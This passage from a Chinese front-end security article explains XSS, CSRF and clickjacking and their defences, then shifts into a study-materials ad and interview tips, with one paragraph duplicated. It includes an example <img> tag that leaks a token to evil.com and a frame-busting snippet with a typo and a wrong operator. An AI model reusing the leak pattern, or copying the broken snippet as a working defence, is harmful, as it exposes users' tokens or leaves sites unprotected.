2.構(gòu)造GET和POST請(qǐng)求

若某攻擊者想刪除某網(wǎng)站的一篇文章，首先獲得當(dāng)前文章的id，然后通過(guò)使用腳本插入圖片發(fā)送一個(gè)GET請(qǐng)求，或構(gòu)造表單，XMLHTTPRequest發(fā)送POST請(qǐng)求以達(dá)到刪除該文章的目的

3.XSS釣魚(yú)

釣魚(yú)這個(gè)詞一般認(rèn)識(shí)是起源于社會(huì)工程學(xué)，黑客使用這個(gè)這門(mén)學(xué)科的理念思想，在未授權(quán)不知情的情況下誘騙用戶，并得到對(duì)方對(duì)方的姓名、年齡、郵箱賬號(hào)、甚至是銀行卡密碼等私人信息。

比如：“某用戶在某網(wǎng)站（已被攻擊）上操作黑客偽造的一個(gè)登錄框，當(dāng)用戶在登錄框中輸入了用戶名（這里可能是身份證號(hào)等）和密碼之后，將其信息上傳至黑客的服務(wù)器上（該用戶的信息就已經(jīng)從該網(wǎng)站泄漏）”

4.獲取用戶真實(shí)的IP地址

通過(guò)第三方軟件獲取，比如客戶端安裝了Java環(huán)境（JRE），則可通過(guò)調(diào)用Java?Applet的接口獲取客戶端本地的IP地址

1.6 XSS的防御方式

1.HttpOnly

原理：瀏覽器禁止頁(yè)面的Javascript訪問(wèn)帶有HttpOnly屬性的cookie。（實(shí)質(zhì)解決的是：XSS后的cookie劫持攻擊）如今已成為一種“標(biāo)準(zhǔn)”的做法

解決方案：

JavaEE給Cookie添加HttpOnly的方式為：

response.setHeader(“Set-Cookie”,“cookiename=value;?Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);

2.輸入檢查（XSS Filter）

原理：讓一些基于特殊字符的攻擊失效。（常見(jiàn)的Web漏洞如XSS、SQLInjection等，都要求攻擊者構(gòu)造一些特殊字符）

*?輸入檢查的邏輯，必須在服務(wù)端實(shí)現(xiàn)，因?yàn)榭蛻舳说臋z查也是很容易被攻擊者繞過(guò)，現(xiàn)有的普遍做法是兩端都做同樣的檢查，客戶端的檢查可以阻擋大部分誤操作的正常用戶，從而節(jié)約服務(wù)器的資源。

解決方案：

檢查是否包含"JavaScript"，"“等敏感字符。以及對(duì)字符串中的<>:”&/'等特殊字符做處理

3.輸出檢查

原理：一般來(lái)說(shuō)除了富文本輸出之外，在變量輸出到HTML頁(yè)面時(shí)，使用編碼或轉(zhuǎn)義的方式來(lái)防御XSS攻擊

解決方案：

*???針對(duì)HTML代碼的編碼方式：HtmlEncode

*?? PHP：htmlentities()和htmlspecialchars()兩個(gè)函數(shù)

*?? Javascript：JavascriptEncode（需要使用""對(duì)特殊字符進(jìn)行轉(zhuǎn)義，同時(shí)要求輸出的變量必須在引號(hào)內(nèi)部）

*???在URL的path（路徑）或者search（參數(shù)）中輸出，使用URLEncode

4.更嚴(yán)格的做法

除了數(shù)字和字母外的所有字符，都使用十六進(jìn)制的方式進(jìn)行編碼

2. 跨站點(diǎn)請(qǐng)求偽造（Cross Sites Request Forgery）

跨站點(diǎn)請(qǐng)求偽造，指利用用戶身份操作用戶賬戶的一種攻擊方式，即攻擊者誘使用戶訪問(wèn)一個(gè)頁(yè)面，就以該用戶身份在第三方有害站點(diǎn)中執(zhí)行了一次操作，泄露了用戶的身份信息，接著攻擊者就可以使用這個(gè)偽造的，但真實(shí)存在的身份信息，到某網(wǎng)站冒充用戶執(zhí)行惡意操作。

但是，攻擊者只有預(yù)測(cè)到URL的所有參數(shù)與參數(shù)值，才能成功地偽造一個(gè)請(qǐng)求（當(dāng)然了，他可以在安全站點(diǎn)里以自己的身份實(shí)際去操作一下，還是能拿到參數(shù)的）；反之，攻擊者無(wú)法攻擊成功

下圖通俗解釋什么是CSRF，又是如何給用戶帶來(lái)危害的

參考上圖，我們可以總結(jié)，完成一次CSRF攻擊，必須滿足兩個(gè)條件

• 用戶登錄受信任網(wǎng)站A，并且在本地生成Cookie

• 在不登出網(wǎng)站A的情況下，訪問(wèn)有害網(wǎng)站B

2.1 CSRF的原理

CSRF攻擊是攻擊者利用**用戶身份**操作用戶賬戶的一種攻擊方式

如電影速度與激情5中吉賽爾使用內(nèi)褲獲取巴西大佬指紋，最后成功使用偽造指紋的手法打開(kāi)保險(xiǎn)柜，CSRF只不過(guò)是網(wǎng)絡(luò)上這個(gè)手法的實(shí)現(xiàn)。

2.2 CSRF的攻擊方式

1.瀏覽器的Cookie策略

瀏覽器所持有的策略一般分為兩種：

Session Cookie，臨時(shí)Cookie。保存在瀏覽器進(jìn)程的內(nèi)存中，瀏覽器關(guān)閉了即失效。

Third-party Cookie，本地Cookie。服務(wù)器在Set-Cookie時(shí)指定了Expire Time。過(guò)期了本地Cookie失效，則網(wǎng)站會(huì)要求用戶重新登錄。

* 在瀏覽網(wǎng)站的過(guò)程中，即使瀏覽器打開(kāi)了Tab頁(yè)，Session Cookie都是有效的，因此發(fā)起CSRF攻擊是可行的。

2.P3P頭的副作用

"P3P?Header"是?“W3C”?制定的一項(xiàng)關(guān)于隱私的標(biāo)準(zhǔn)，全稱是?“The?Platform?for?Privacy?Preference”（隱私偏好平臺(tái)）

如果網(wǎng)站返回給瀏覽器的 HTTP 頭包含有 P3P 頭，則在某種程度上來(lái)說(shuō)，將允許?瀏覽器發(fā)送第三方 Cookie。在 IE 下即使是""、<script>等標(biāo)簽頁(yè)將不再攔截第三方 Cookie 的發(fā)送。主要應(yīng)用在類似廣告等需要跨域訪問(wèn)的頁(yè)面。

3.GET，POST請(qǐng)求

*?這里有個(gè)誤區(qū)

大多數(shù) CSRF 攻擊，都是通過(guò)??、??、?

構(gòu)造一個(gè) POST 請(qǐng)求，只需要在一個(gè)不可見(jiàn)的iframe窗口中，構(gòu)造一個(gè)form表單，然后使用JavaScript自動(dòng)提交這個(gè)表單。那么整個(gè)自動(dòng)提交表單的過(guò)程，對(duì)于用戶來(lái)說(shuō)就是不可見(jiàn)的。

2.3 CSRF的防御方式

1.驗(yàn)證碼

原理：

CSRF攻擊過(guò)程中，用戶在不知情的情況下構(gòu)造了網(wǎng)絡(luò)請(qǐng)求，添加驗(yàn)證碼后，強(qiáng)制用戶必須與應(yīng)用進(jìn)行交互

*??優(yōu)點(diǎn)：簡(jiǎn)潔而有效

*??缺點(diǎn)：網(wǎng)站不能給所有的操作都加上驗(yàn)證碼

2.Referer Check

原理：

*?利用HTTP頭中的Referer判斷請(qǐng)求來(lái)源是否合法

*?Referer首部包含了當(dāng)前請(qǐng)求頁(yè)面的來(lái)源頁(yè)面的地址，一般情況下Referer的來(lái)源頁(yè)就是發(fā)起請(qǐng)求的那個(gè)頁(yè)面，如果是在iframe中發(fā)起的請(qǐng)求，那么對(duì)應(yīng)的頁(yè)面URL就是iframe的src

*??優(yōu)點(diǎn)：簡(jiǎn)單易操作（只需要在最后給所有安全敏感的請(qǐng)求統(tǒng)一添加一個(gè)攔截器來(lái)檢查Referer的值就行）

*??缺點(diǎn)：服務(wù)器并非什么時(shí)候都能取到Referer

1.很多出于保護(hù)用戶隱私的考慮，限制了Referer的發(fā)送。

2.比如從HTTPS跳轉(zhuǎn)到HTTP，出于安全的考慮，瀏覽器不會(huì)發(fā)送Referer

3.使用Anti CSRF Token

原理：把參數(shù)加密，或者使用一些隨機(jī)數(shù)，從而讓攻擊者無(wú)法猜測(cè)到參數(shù)值，也就無(wú)法構(gòu)造請(qǐng)求的 URL，也就無(wú)法發(fā)起 CSRF 攻擊。

例子（增加token）：

*??比如一個(gè)刪除操作的URL是：http://host/path/delete?uesrname=abc&item=123

*??保持原參數(shù)不變，新增一個(gè)參數(shù)Token，Token值是隨機(jī)的，不可預(yù)測(cè)

*??http://host/path/delete?username=abc&item=123&token=[random(seed)]

*??優(yōu)點(diǎn)：比檢查Referer方法更安全，并且不涉及用戶隱私

*??缺點(diǎn)：

加密

1.?加密后的URL非常難讀，對(duì)用戶非常不友好

2.?加密的參數(shù)每次都在改變，導(dǎo)致用戶無(wú)法對(duì)頁(yè)面進(jìn)行搜索

3.?普通參數(shù)也會(huì)被加密或哈希，將會(huì)給DBA工作帶來(lái)很大的困擾，因?yàn)閿?shù)據(jù)分析常常需要用到參數(shù)的明文

token

1.?對(duì)所有的請(qǐng)求都添加Token比較困難

需要注意的點(diǎn)

1. Token需要足夠隨機(jī)，必須用足夠安全的隨機(jī)數(shù)生成算法

2. Token應(yīng)該為用戶和服務(wù)器所共同持有，不能被第三方知曉

3. Token可以放在用戶的Session或者瀏覽器的Cookie中

4. 盡量把Token放在表單中，把敏感操作由GET改為POST，以form表單的形式提交，可以避免Token泄露（比如一個(gè)頁(yè)面：http://host/path/manage?username=abc&token=[random]，在此頁(yè)面用戶需要在這個(gè)頁(yè)面提交表單或者單擊“刪除”按鈕，才能完成刪除操作，在這種場(chǎng)景下，如果這個(gè)頁(yè)面包含了一張攻擊者能指定地址的圖片<img src="http://evil.com/notexist" />，則這個(gè)頁(yè)面地址會(huì)作為HTTP請(qǐng)求的Refer發(fā)送到evil.com的服務(wù)器上，從而導(dǎo)致Token泄露）

2.4 XSRF

當(dāng)網(wǎng)站同時(shí)存在XSS和CSRF漏洞時(shí)，XSS可以模擬客戶端瀏覽器執(zhí)行任意操作，在XSS攻擊下，攻擊者完全可以請(qǐng)求頁(yè)面后，讀取頁(yè)面內(nèi)容中的Token值，然后再構(gòu)造出一個(gè)合法的請(qǐng)求

3. 點(diǎn)擊劫持（ClickJacking）

點(diǎn)擊劫持是一種視覺(jué)上的欺騙手段。攻擊者使用一個(gè)透明的、不可見(jiàn)的iframe，覆蓋在一個(gè)網(wǎng)頁(yè)上，然后誘使用戶在網(wǎng)頁(yè)上進(jìn)行操作，此時(shí)用戶將在不知情的情況下點(diǎn)擊透明的iframe頁(yè)面。通過(guò)調(diào)整iframe頁(yè)面的位置，可以誘使用戶恰好點(diǎn)擊在iframe頁(yè)面的一些功能性按鈕上。

比如，程序員小王在訪問(wèn)A網(wǎng)頁(yè)時(shí)，點(diǎn)擊空白區(qū)域，瀏覽器卻意外打開(kāi)了xx新葡京賭場(chǎng)的頁(yè)面，于是他在A網(wǎng)頁(yè)打開(kāi)控制臺(tái)，在空白區(qū)域發(fā)現(xiàn)了一個(gè)透明的iframe，該iframe嵌入了一個(gè)第三方網(wǎng)頁(yè)的URL

3.1 點(diǎn)擊劫持防御方式

1.X-Frame-Options?HTTP響應(yīng)頭是用來(lái)給瀏覽器指示允許一個(gè)頁(yè)面能否在<frame>、<iframe>、<object>中展現(xiàn)的標(biāo)記

####?有三個(gè)可選的值

1. DENY：瀏覽器會(huì)拒絕當(dāng)前頁(yè)面加載任何frame頁(yè)面（即使是相同域名的頁(yè)面也不允許）

2. SAMEORIGIN：允許加載frame頁(yè)面，但是frame頁(yè)面的地址只能為同源域名下的頁(yè)面

3. ALLOW-FROM：可以加載指定來(lái)源的frame頁(yè)面（可以定義frame頁(yè)面的地址）

2.禁止iframe的嵌套

if(window.top.location?!==?window.loaction){window.top.location?===?window.self.location}

4. 其他安全問(wèn)題

4.1 跨域問(wèn)題處理

當(dāng)服務(wù)端設(shè)置 ‘Access-Control-Allow-Origin’ 時(shí)使用了通配符 “*”,允許來(lái)自任意域的跨域請(qǐng)求，這是極其危險(xiǎn)的

4.2 postMessage 跨窗口傳遞信息

postMessage 允許每一個(gè) window（包括當(dāng)前窗口、彈出窗口、iframes等）對(duì)象往其他的窗口發(fā)送文本消息，從而實(shí)現(xiàn)跨窗口的消息傳遞。并且這個(gè)功能不受同源策略限制。

必要時(shí)，在接受窗口驗(yàn)證 Domain，甚至驗(yàn)證URL，以防止來(lái)自非法頁(yè)面的消息。實(shí)際上是在代碼上實(shí)現(xiàn)一次同源策略的驗(yàn)證過(guò)程。接受窗口對(duì)接口的信息進(jìn)行安全檢查。

4.3 Web Storage

自我介紹一下，小編13年上海交大畢業(yè)，曾經(jīng)在小公司待過(guò)，也去過(guò)華為、OPPO等大廠，18年進(jìn)入阿里一直到現(xiàn)在。

深知大多數(shù)前端工程師，想要提升技能，往往是自己摸索成長(zhǎng)或者是報(bào)班學(xué)習(xí)，但對(duì)于培訓(xùn)機(jī)構(gòu)動(dòng)則幾千的學(xué)費(fèi)，著實(shí)壓力不小。自己不成體系的自學(xué)效果低效又漫長(zhǎng)，而且極易碰到天花板技術(shù)停滯不前！

因此收集整理了一份《2024年Web前端開(kāi)發(fā)全套學(xué)習(xí)資料》，初衷也很簡(jiǎn)單，就是希望能夠幫助到想自學(xué)提升又不知道該從何學(xué)起的朋友，同時(shí)減輕大家的負(fù)擔(dān)。

既有適合小白學(xué)習(xí)的零基礎(chǔ)資料，也有適合3年以上經(jīng)驗(yàn)的小伙伴深入學(xué)習(xí)提升的進(jìn)階課程，基本涵蓋了95%以上前端開(kāi)發(fā)知識(shí)點(diǎn)，真正體系化！

由于文件比較大，這里只是將部分目錄截圖出來(lái)，每個(gè)節(jié)點(diǎn)里面都包含大廠面經(jīng)、學(xué)習(xí)筆記、源碼講義、實(shí)戰(zhàn)項(xiàng)目、講解視頻，并且會(huì)持續(xù)更新！

如果你覺(jué)得這些內(nèi)容對(duì)你有幫助，可以掃碼獲取?。。▊渥ⅲ呵岸耍?/strong>

完整版面試題資料免費(fèi)分享，只需你點(diǎn)贊支持，動(dòng)動(dòng)手指點(diǎn)擊此處就可免費(fèi)領(lǐng)取了。

前端實(shí)習(xí)面試的套路

---

回顧項(xiàng)目

往往在面試時(shí)，面試官根據(jù)你簡(jiǎn)歷中的項(xiàng)目由點(diǎn)及面地展開(kāi)問(wèn)答，所以請(qǐng)對(duì)你做過(guò)的最好的項(xiàng)目進(jìn)行回顧和反思?；仡櫮阕鲞^(guò)的工作和項(xiàng)目中最復(fù)雜的部分，反思你是如何完成這個(gè)最復(fù)雜的部分的。

面試官會(huì)重點(diǎn)問(wèn)你最復(fù)雜的部分的實(shí)現(xiàn)方法和如何優(yōu)化。重點(diǎn)要思考如何優(yōu)化，即使你項(xiàng)目中沒(méi)有對(duì)那部分進(jìn)行優(yōu)化，你也應(yīng)該預(yù)先思考有什么優(yōu)化的方案。如果這部分答好了，會(huì)給面試官留下很不錯(cuò)的印象。

重點(diǎn)在于基礎(chǔ)知識(shí)

這里指的基礎(chǔ)知識(shí)包括：前端基礎(chǔ)知識(shí)和學(xué)科基礎(chǔ)知識(shí)。

前端基礎(chǔ)知識(shí)：html/css/js 的核心知識(shí)，其中 js 的核心知識(shí)尤為重要。比如執(zhí)行上下文、變量對(duì)象/活動(dòng)對(duì)象（VO/AO）、作用域鏈、this 指向、原型鏈等。

學(xué)科基礎(chǔ)知識(shí)：數(shù)據(jù)結(jié)構(gòu)、計(jì)算機(jī)網(wǎng)絡(luò)、算法等知識(shí)。你可能會(huì)想前端不需要算法，那你可能就錯(cuò)了，在大公司面試，面試官同樣會(huì)看重學(xué)生這些學(xué)科基礎(chǔ)知識(shí)。
你可能發(fā)現(xiàn)了我沒(méi)有提到React/Vue這些框架的知識(shí)，這里得說(shuō)一說(shuō)，大公司不會(huì)過(guò)度的關(guān)注這方面框架的知識(shí)，他們往往更加考察學(xué)生的基礎(chǔ)。
這里我的建議是，如果你至少使用或掌握其中一門(mén)框架，那是最好的，可以去刷刷相關(guān)框架的面試題，這樣在面試過(guò)程中即使被問(wèn)到了，也可以回答個(gè) 7788。如果你沒(méi)有使用過(guò)框架，那也不需要太擔(dān)心，把重點(diǎn)放在基礎(chǔ)知識(shí)和學(xué)科基礎(chǔ)知識(shí)之上，有其余精力的話可以去看看主流框架的核心思想。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-855303.html

優(yōu)化，即使你項(xiàng)目中沒(méi)有對(duì)那部分進(jìn)行優(yōu)化，你也應(yīng)該預(yù)先思考有什么優(yōu)化的方案。如果這部分答好了，會(huì)給面試官留下很不錯(cuò)的印象。

重點(diǎn)在于基礎(chǔ)知識(shí)

這里指的基礎(chǔ)知識(shí)包括：前端基礎(chǔ)知識(shí)和學(xué)科基礎(chǔ)知識(shí)。

前端基礎(chǔ)知識(shí)：html/css/js 的核心知識(shí)，其中 js 的核心知識(shí)尤為重要。比如執(zhí)行上下文、變量對(duì)象/活動(dòng)對(duì)象（VO/AO）、作用域鏈、this 指向、原型鏈等。

學(xué)科基礎(chǔ)知識(shí)：數(shù)據(jù)結(jié)構(gòu)、計(jì)算機(jī)網(wǎng)絡(luò)、算法等知識(shí)。你可能會(huì)想前端不需要算法，那你可能就錯(cuò)了，在大公司面試，面試官同樣會(huì)看重學(xué)生這些學(xué)科基礎(chǔ)知識(shí)。
你可能發(fā)現(xiàn)了我沒(méi)有提到React/Vue這些框架的知識(shí)，這里得說(shuō)一說(shuō)，大公司不會(huì)過(guò)度的關(guān)注這方面框架的知識(shí)，他們往往更加考察學(xué)生的基礎(chǔ)。
這里我的建議是，如果你至少使用或掌握其中一門(mén)框架，那是最好的，可以去刷刷相關(guān)框架的面試題，這樣在面試過(guò)程中即使被問(wèn)到了，也可以回答個(gè) 7788。如果你沒(méi)有使用過(guò)框架，那也不需要太擔(dān)心，把重點(diǎn)放在基礎(chǔ)知識(shí)和學(xué)科基礎(chǔ)知識(shí)之上，有其余精力的話可以去看看主流框架的核心思想。

到了這里，關(guān)于建議收藏 - 必須知道的4個(gè)前端安全編碼規(guī)范，0基礎(chǔ)web前端開(kāi)發(fā)的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！